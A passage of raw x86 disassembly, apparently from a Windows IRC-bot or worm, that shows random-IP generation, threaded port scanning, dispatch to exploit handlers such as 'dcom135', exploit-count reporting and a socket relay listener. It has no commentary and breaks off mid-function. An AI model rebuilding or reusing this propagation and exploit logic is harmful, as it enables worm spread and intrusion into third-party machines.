shl eax, 9
sub eax, esi
push eax
push [ebp+var_8]
call sub_416E3E
push [ebp+var_8]
loc_40707B: ; DATA XREF: .nsp0:00424DA8o
; .nsp0:00424DBCo ...
lea eax, [ebp+var_57C]
push esi
push 1
push eax
call sub_416BB0
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call dword_43A41C
cmp edi, ebx
jnz short loc_4070DD
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_427178
jmp loc_406F81
; ---------------------------------------------------------------------------
loc_4070C7: ; CODE XREF: sub_406C3E+268j
; sub_406C3E+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_42716C
push edi
call dword_43A41C
loc_4070DD: ; CODE XREF: sub_406C3E+204j
; sub_406C3E+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_406DE9
loc_4070E9: ; CODE XREF: sub_406C3E+1B4j
push edi
call dword_43A450
push [ebp+var_8]
call sub_415B40
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_40711D
push [ebp+var_170]
call sub_4152AF
pop ecx
push ebx
call dword_421048
loc_40711D: ; CODE XREF: sub_406C3E+4CAj
push 3E8h
call dword_421060
push esi
loc_407129: ; CODE XREF: sub_406C3E+123j
call sub_406C3E
pop edi
pop esi
pop ebx
leave
retn 4
sub_406C3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407135 proc near ; CODE XREF: sub_40CE55+5799p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_4276DC
push eax
xor ebx, ebx
call sub_4154E7
cmp dword_427338, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_4071A3
push esi
mov esi, offset dword_427340
loc_407168: ; CODE XREF: sub_407135+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_4154E7
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_416F10
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_407168
pop esi
loc_4071A3: ; CODE XREF: sub_407135+2Bj
push dword_468838
call sub_40A9B2
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_4154E7
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_416F10
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_200]
push eax
call sub_40B16D
add esp, 38h
pop edi
pop ebx
leave
retn
sub_407135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4071FF proc near ; CODE XREF: sub_40CE55+5106p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_4151DB
test eax, eax
pop ecx
jle short loc_40723B
mov eax, [ebp+arg_C]
push dword_439008[eax*8]
call dword_43A444
push eax
lea eax, [ebp+var_200]
push offset unk_427748
push eax
call sub_4154E7
add esp, 0Ch
jmp short loc_40724E
; ---------------------------------------------------------------------------
loc_40723B: ; CODE XREF: sub_4071FF+13j
lea eax, [ebp+var_200]
push offset unk_427714
push eax
call sub_4154E7
pop ecx
pop ecx
loc_40724E: ; CODE XREF: sub_4071FF+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_200]
push eax
call sub_40B16D
add esp, 18h
leave
retn
sub_4071FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407276 proc near ; CODE XREF: sub_40799F+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_407606
imul eax, 3Ch
xor ebx, ebx
cmp dword_427344[eax], ebx
jz loc_4074E7
push 4
call sub_4151DB
test eax, eax
pop ecx
jnz loc_407606
mov eax, dword_42C188
push edi
mov edi, offset dword_439984
push 104h
push edi
push ebx
mov dword_439B94, eax
mov dword_439B90, ebx
call dword_42107C
push 103h
mov esi, offset dword_439A88
push offset byte_42C1FC
push esi
call sub_416D40
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_439980, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_439C18, eax
jnz short loc_407329
lea eax, [ebp+arg_10]
push eax
push offset dword_439B98
call sub_416D40
add esp, 0Ch
mov dword_439C1C, 1
jmp short loc_407343
; ---------------------------------------------------------------------------
loc_407329: ; CODE XREF: sub_407276+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_439B98
call sub_416D40
add esp, 0Ch
mov dword_439C1C, ebx
loc_407343: ; CODE XREF: sub_407276+B1j
push esi
push edi
push dword_439B94
lea eax, [ebp+var_204]
push offset unk_4278F4
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_414F93
add esp, 20h
mov dword_439B8C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_439980
push offset sub_406C3E
push ebx
push ebx
call dword_42108C
mov ecx, dword_439B8C
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_4073B2
loc_4073A0: ; CODE XREF: sub_407276+13Aj
cmp dword_439C20, ebx
jnz short loc_4073CD
push 32h
call dword_421060
jmp short loc_4073A0
; ---------------------------------------------------------------------------
loc_4073B2: ; CODE XREF: sub_407276+128j
call dword_421088
push eax
lea eax, [ebp+var_204]
push offset unk_4278AC
push eax
call sub_4154E7
add esp, 0Ch
loc_4073CD: ; CODE XREF: sub_407276+130j
lea eax, [ebp+var_204]
push eax
call sub_40B16D
mov edi, offset dword_439FDC
mov [esp+210h+var_210], 104h
push edi
push ebx
mov dword_43A1E8, ebx
call dword_42107C
push 103h
mov esi, offset dword_43A0E0
push offset byte_42C1FC
push esi
call sub_416D40
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_439FD8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_43A270, eax
jnz short loc_407448
lea eax, [ebp+arg_10]
push eax
push offset dword_43A1F0
call sub_416D40
add esp, 0Ch
mov dword_43A274, 1
jmp short loc_407462
; ---------------------------------------------------------------------------
loc_407448: ; CODE XREF: sub_407276+1B3j
lea eax, [ebp+arg_90]
push eax
push offset dword_43A1F0
call sub_416D40
add esp, 0Ch
mov dword_43A274, ebx
loc_407462: ; CODE XREF: sub_407276+1D0j
push esi
push edi
push dword_43A1EC
lea eax, [ebp+var_204]
push offset dword_427858
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_414F93
add esp, 20h
mov dword_43A1E4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_439FD8
push offset sub_405409
push ebx
push ebx
call dword_42108C
mov ecx, dword_43A1E4
pop edi
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_4074D6
loc_4074C0: ; CODE XREF: sub_407276+25Ej
cmp dword_43A278, ebx
jnz loc_4075F9
push 32h
call dword_421060
jmp short loc_4074C0
; ---------------------------------------------------------------------------
loc_4074D6: ; CODE XREF: sub_407276+248j
call dword_421088
push eax
push offset dword_427814
jmp loc_4075EA
; ---------------------------------------------------------------------------
loc_4074E7: ; CODE XREF: sub_407276+25j
cmp dword_427348[eax], ebx
jz loc_407606
push 3
call sub_4151DB
test eax, eax
pop ecx
jnz loc_407606
mov esi, offset dword_439EB4
push 104h
push esi
push ebx
call dword_42107C
push 5Ch
push esi
call sub_417040
pop ecx
cmp eax, ebx
pop ecx
jz short loc_407525
mov [eax], bl
loc_407525: ; CODE XREF: sub_407276+2ABj
mov eax, dword_42C18C
mov dword_439FCC, ebx
mov dword_439FB8, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_439C2C
call sub_4154E7
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_439C28, eax
mov ecx, [ebp+arg_138]
push esi
push dword_439FB8
mov dword_439FC4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_439FC8, ecx
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_4277C4
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_414F93
add esp, 20h
mov dword_439FC0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_439C28
push offset sub_405B23
push ebx
push ebx
call dword_42108C
mov ecx, dword_439FC0
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_4075DE
loc_4075CC: ; CODE XREF: sub_407276+366j
cmp dword_439FD4, ebx
jnz short loc_4075F9
push 32h
call dword_421060
jmp short loc_4075CC
; ---------------------------------------------------------------------------
loc_4075DE: ; CODE XREF: sub_407276+354j
call dword_421088
push eax
push offset unk_42777C
loc_4075EA: ; CODE XREF: sub_407276+26Cj
lea eax, [ebp+var_204]
push eax
call sub_4154E7
add esp, 0Ch
loc_4075F9: ; CODE XREF: sub_407276+250j
; sub_407276+35Cj
lea eax, [ebp+var_204]
push eax
call sub_40B16D
pop ecx
loc_407606: ; CODE XREF: sub_407276+14j
; sub_407276+35j ...
pop esi
pop ebx
leave
retn
sub_407276 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40760A proc near ; CODE XREF: sub_40778B:loc_4077FCp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:439008h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_4155D0
add esp, 0Ch
push [ebp+arg_0]
call dword_43A2EC
inc eax
push eax
mov [ebp+arg_0], eax
call dword_43A3B4
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_4155D0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40760A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407652 proc near ; CODE XREF: sub_40778B+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_415CF0
cmp eax, 0Fh
pop ecx
jbe short loc_40767A
xor eax, eax
jmp short loc_4076EB
; ---------------------------------------------------------------------------
loc_40767A: ; CODE XREF: sub_407652+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_416AA0
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_4076A7
call sub_415543
mov [ebp+var_C], eax
loc_4076A7: ; CODE XREF: sub_407652+4Bj
cmp [ebp+var_8], esi
jnz short loc_4076B4
call sub_415543
mov [ebp+var_8], eax
loc_4076B4: ; CODE XREF: sub_407652+58j
cmp [ebp+var_4], esi
jnz short loc_4076C1
call sub_415543
mov [ebp+var_4], eax
loc_4076C1: ; CODE XREF: sub_407652+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_4076CD
call sub_415543
loc_4076CD: ; CODE XREF: sub_407652+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_439008[ecx*8], eax
loc_4076EB: ; CODE XREF: sub_407652+26j
pop esi
leave
retn
sub_407652 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4076EE proc near ; CODE XREF: sub_40778B+B8p
; sub_412B98+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_43A438
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_407717
xor eax, eax
jmp short loc_407786
; ---------------------------------------------------------------------------
loc_407717: ; CODE XREF: sub_4076EE+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_43A3B8
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_43A454
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_43A360
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_43A3A0
push esi
mov edi, eax
call dword_43A450
xor eax, eax
cmp edi, ebx
setnle al
loc_407786: ; CODE XREF: sub_4076EE+27j
pop edi
pop esi
pop ebx
leave
retn
sub_4076EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40778B proc near ; DATA XREF: sub_40799F+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call dword_42104C
push eax
call sub_415539
mov ebx, esi
pop ecx
imul ebx, 234h
loc_4077D2: ; CODE XREF: sub_40778B+200j
mov eax, dword_43F54C[ebx]
cmp dword_43900C[eax*8], 0
jz loc_407990
cmp [ebp+var_10], 0
push eax
jz short loc_4077FC
lea eax, [ebp+var_150]
push eax
call sub_407652
pop ecx
jmp short loc_407801
; ---------------------------------------------------------------------------
loc_4077FC: ; CODE XREF: sub_40778B+60j
call sub_40760A
loc_407801: ; CODE XREF: sub_40778B+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43F54C[ebx]
push [ebp+var_3C]
push edi
call dword_43A444
push eax
lea eax, [ebp+var_28C]
push offset unk_427990
push eax
call sub_4154E7
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43F348[ebx]
push eax
call sub_4154E7
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_4076EE
add esp, 2Ch
cmp eax, 1
jnz loc_407980
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_4078D5
push offset dword_439968
call dword_4210B4
push [ebp+var_3C]
push edi
call dword_43A444
push eax
lea eax, [ebp+var_28C]
push offset unk_427954
push eax
call sub_4154E7
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_4078B7
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_4078AB
lea eax, [ebp+var_140]
loc_4078AB: ; CODE XREF: sub_40778B+118j
push eax
push [ebp+var_40]
call sub_412D4C
add esp, 14h
loc_4078B7: ; CODE XREF: sub_40778B+FDj
lea eax, [ebp+var_28C]
push eax
call sub_40B16D
mov [esp+2A8h+var_2A8], offset dword_439968
call dword_4210B0
jmp loc_407980
; ---------------------------------------------------------------------------
loc_4078D5: ; CODE XREF: sub_40778B+CDj
push edi
call dword_43A444
push eax
lea eax, [ebp+var_208]
push eax
call sub_4154E7
mov eax, [ebp+var_20]
imul eax, 3Ch
add eax, offset aDcom135_0 ; "dcom135"
push eax
lea eax, [ebp+var_178]
push eax
call sub_4154E7
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_407919
lea eax, [ebp+var_140]
loc_407919: ; CODE XREF: sub_40778B+186j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_4154E7
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call off_42733C[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_407980: ; CODE XREF: sub_40778B+C3j
; sub_40778B+145j
push 7D0h
call dword_421060
jmp loc_4077D2
; ---------------------------------------------------------------------------
loc_407990: ; CODE XREF: sub_40778B+55j
push esi
call sub_4152AF
pop ecx
push 0
call dword_421048
sub_40778B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40799F proc near ; DATA XREF: sub_40CE55+31D4o
; sub_40CE55+4D64o
var_1DC = dword ptr -1DCh
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_43A3F8
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_439008[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_407276
push 8
call sub_4151DB
add esp, 150h
cmp eax, ebx
jnz short loc_407A6D
mov esi, offset dword_439968
push esi
call dword_4210BC
push 80000400h
push esi
call dword_4210B8
test eax, eax
jnz short loc_407A6D
lea eax, [ebp+var_1CC]
push offset unk_427AD4
push eax
call sub_4154E7
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_407A57
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_412D4C
add esp, 14h
loc_407A57: ; CODE XREF: sub_40799F+99j
lea eax, [ebp+var_1CC]
push eax
call sub_40B16D
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_407A6D: ; CODE XREF: sub_40799F+63j
; sub_40799F+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_421060
mov edi, ebx
mov dword_43900C[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_407B3A
loc_407A8B: ; CODE XREF: sub_40799F+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_427A88
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_1CC]
push 8
push eax
call sub_414F93
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43F54C[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40778B
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_407B05
loc_407AFA: ; CODE XREF: sub_40799F+164j
cmp [ebp+var_4], ebx
jnz short loc_407B2C
push 1Eh
call esi
jmp short loc_407AFA
; ---------------------------------------------------------------------------
loc_407B05: ; CODE XREF: sub_40799F+159j
call dword_421088
push eax
lea eax, [ebp+var_1CC]
push offset unk_427A38
push eax
call sub_4154E7
lea eax, [ebp+var_1CC]
push eax
call sub_40B16D
add esp, 10h
loc_407B2C: ; CODE XREF: sub_40799F+15Ej
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_407A8B
loc_407B3A: ; CODE XREF: sub_40799F+E6j
cmp [ebp+var_30], ebx
jz loc_407BE4
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_407B4F: ; CODE XREF: sub_40799F+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_439008[eax*8]
push eax
call dword_43A444
push eax
lea eax, [ebp+var_1CC]
push offset unk_4279E0
push eax
call sub_4154E7
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_407B9D
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_412D4C
add esp, 14h
loc_407B9D: ; CODE XREF: sub_40799F+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_40B16D
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_43900C[eax*8], ebx
call esi
push 8
call sub_4151DB
cmp eax, 1
pop ecx
jnz short loc_407BD4
push offset dword_439968
call dword_4210BC
loc_407BD4: ; CODE XREF: sub_40799F+228j
push [ebp+var_2C]
call sub_4152AF
pop ecx
push ebx
call dword_421048
loc_407BE4: ; CODE XREF: sub_40799F+19Ej
; sub_40799F+25Dj
mov eax, [ebp+var_2C]
cmp dword_43900C[eax*8], 1
jnz loc_407B4F
push 7D0h
call esi
jmp short loc_407BE4
sub_40799F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407BFE proc near ; DATA XREF: sub_40CE55+35ABo
var_34C = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
push 1
xor esi, esi
pop edi
push 10h
mov [eax+120h], edi
pop ebx
lea eax, [ebp+var_10]
push ebx
push esi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_40]
call dword_43A3B8
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call dword_43A438
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_407D62
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov dword_43F554[eax], ebx
call dword_43A2D4
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43A3E4
test eax, eax
jnz loc_407D62
push 0Ah
push ebx
call dword_43A3E0
test eax, eax
jnz loc_407D62
loc_407CA8: ; CODE XREF: sub_407BFE+BEj
; sub_407BFE+13Fj
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call dword_43A44C
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_407CA8
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call dword_43A444
push eax
lea eax, [ebp+var_34C]
push offset unk_427B70
push eax
call sub_4154E7
push edi
lea eax, [ebp+var_34C]
push 10h
push eax
call sub_414F93
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_43F54C[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset sub_407D86
push esi
push esi
call dword_42108C
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_43F55C[ecx], eax
jz short loc_407D4D
loc_407D3A: ; CODE XREF: sub_407BFE+14Dj
cmp [ebp+var_2C], esi
jnz loc_407CA8
push 32h
call dword_421060
jmp short loc_407D3A
; ---------------------------------------------------------------------------
loc_407D4D: ; CODE XREF: sub_407BFE+13Aj
call dword_421088
push eax
push offset unk_427B20
call sub_40B1E1
pop ecx
pop ecx
jmp short loc_407D65
; ---------------------------------------------------------------------------
loc_407D62: ; CODE XREF: sub_407BFE+61j
; sub_407BFE+93j ...
mov edi, [ebp+arg_0]
loc_407D65: ; CODE XREF: sub_407BFE+162j
push edi
call dword_43A450
push ebx
call dword_43A450
push [ebp+var_3C]
call sub_4152AF
pop ecx
push esi
call dword_421048
pop edi
pop esi
pop ebx
sub_407BFE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407D86 proc near ; DATA XREF: sub_407BFE+11Co
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_415D70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_43A438
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_407F3C
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_43A3B8
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_43A3F8
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_407E16
lea eax, [ebp+var_13C]
push eax
call dword_43A43C
jmp short loc_407E24
; ---------------------------------------------------------------------------
loc_407E16: ; CODE XREF: sub_407D86+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_43A370
loc_407E24: ; CODE XREF: sub_407D86+8Ej
cmp eax, edi
jz loc_407F3C
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_43A360
cmp eax, 0FFFFFFFFh
jz loc_407F3C
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_43A444
push eax
lea eax, [ebp+var_344]
push offset unk_427C1C
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_344]
push 10h
push eax
call sub_414F93
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_43F554[ebx]
mov dword_43F54C[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43F558[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_407F6D
push edi
push edi
call dword_42108C
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_43F55C[ecx], eax
jz short loc_407F29
loc_407ED6: ; CODE XREF: sub_407D86+15Dj
cmp [ebp+var_20], edi
jnz short loc_407EE5
push 32h
call dword_421060
jmp short loc_407ED6
; ---------------------------------------------------------------------------
loc_407EE5: ; CODE XREF: sub_407D86+153j
